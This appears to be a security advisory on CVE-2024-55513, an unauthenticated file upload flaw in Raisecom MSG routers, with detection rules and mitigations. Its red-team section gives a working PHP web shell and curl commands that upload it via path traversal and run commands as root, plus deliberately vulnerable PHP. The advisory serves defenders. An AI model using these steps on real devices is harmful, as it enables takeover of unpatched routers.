CVE-2024-55513

Executive Summary

CVE-2024-55513 is a critical unauthenticated arbitrary file upload vulnerability affecting multiple Raisecom MSG series routers, including MSG1200, MSG2100E, MSG2200, and MSG2300 running firmware version 3.90. The flaw resides in the /upload_netaction.php endpoint on the web interface. By crafting a suitable form name, an attacker can upload arbitrary files to the server, potentially leading to remote code execution (RCE) and full compromise of the device. No official patch is available from the vendor, and proof-of-concept (PoC) code is publicly accessible.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• EPSS Score: 0.0% (Low exploitation probability currently, but expected to rise)

Deep Dive & Mechanics

The vulnerability exists in the /upload_netaction.php script, which is part of the web management interface of the affected Raisecom routers. The script does not properly validate the form name parameter before processing file uploads. An attacker can send a crafted HTTP POST request to this endpoint with a malicious file (e.g., a PHP web shell) and a manipulated form name. The server then writes the uploaded file to an arbitrary location on the filesystem, typically within the web root, allowing the attacker to execute commands with the privileges of the web server (often root).

The root cause is a lack of input sanitization and insufficient access controls on the upload functionality. The script likely uses the form name to construct the destination path without proper checks, enabling path traversal or direct file write.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// /upload_netaction.php (vulnerable)
$form_name = $_POST['form_name'];
$upload_dir = "/var/www/html/uploads/";
$dest_path = $upload_dir . $form_name . "/" . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $dest_path);
?>

Patched Code (Conceptual):

<?php
// /upload_netaction.php (patched)
$form_name = basename($_POST['form_name']); // Remove path components
$allowed_forms = ['config', 'firmware', 'backup'];
if (!in_array($form_name, $allowed_forms)) {
    die("Invalid form name.");
}
$upload_dir = "/var/www/html/uploads/";
$dest_path = $upload_dir . $form_name . "/" . basename($_FILES['file']['name']);
if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest_path)) {
    die("Upload failed.");
}
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Raisecom MSG router with firmware 3.90
• Network access to the web interface (typically port 80 or 443)

Exploitation Steps:

1. Craft a malicious PHP web shell:

   <?php system($_GET['cmd']); ?>
   

   Save as shell.php.

2. Send the exploit request using curl:

   curl -X POST http://<target_ip>/upload_netaction.php \
        -F "form_name=../../../../var/www/html/" \
        -F "file=@shell.php"
   

3. Access the uploaded shell:

   curl http://<target_ip>/shell.php?cmd=id
   

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Blue Team

Detection Steps:

• Monitor HTTP POST requests to /upload_netaction.php with unusual form_name parameters (e.g., containing ../).
• Alert on file uploads with .php, .phtml, .asp, or other executable extensions.
• Check for unexpected files in the web root directory (e.g., /var/www/html/).

Honeypot Strategy:

• Deploy a fake /upload_netaction.php endpoint that logs all requests and blocks suspicious uploads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /upload_netaction.php with form_name containing path traversal sequences (../).
  • Outbound connections from the router to unknown IPs on port 80/443 (C2 traffic).
• File IOCs:
  • Unexpected files in /var/www/html/ with .php, .phtml, or .txt extensions.
  • Files named shell.php, cmd.php, or similar.
• System IOCs:
  • Unusual processes running as www-data or root.
  • Modified /etc/passwd or /etc/shadow files.

Detection Engineering

YARA Rule

rule CVE_2024_55513_Upload_Shell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-55513"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55513"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call, $passthru)
}

Sigma Rule

title: CVE-2024-55513 - Unauthorized File Upload to Raisecom MSG Router
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /upload_netaction.php with path traversal in form_name
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/upload_netaction.php'
        cs-uri-query|contains: 'form_name='
    condition: selection
falsepositives:
    - Legitimate firmware uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55513 - Raisecom MSG Router File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upload_netaction.php"; http_uri; content:"form_name"; http_client_body; pcre:"/form_name=[^&]*\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the web interface on the affected devices if not required for operations.
2. Restrict network access to the management interface using firewall rules (allow only trusted IPs).
3. Implement a WAF rule to block requests to /upload_netaction.php with path traversal patterns.

Long-Term Fix:

• No official patch is available. Contact Raisecom support for a firmware update.
• Consider replacing the affected devices with alternatives that receive security patches.

Workaround:

• Manually remove or rename the /upload_netaction.php file on the device (if SSH access is available).

Valters IT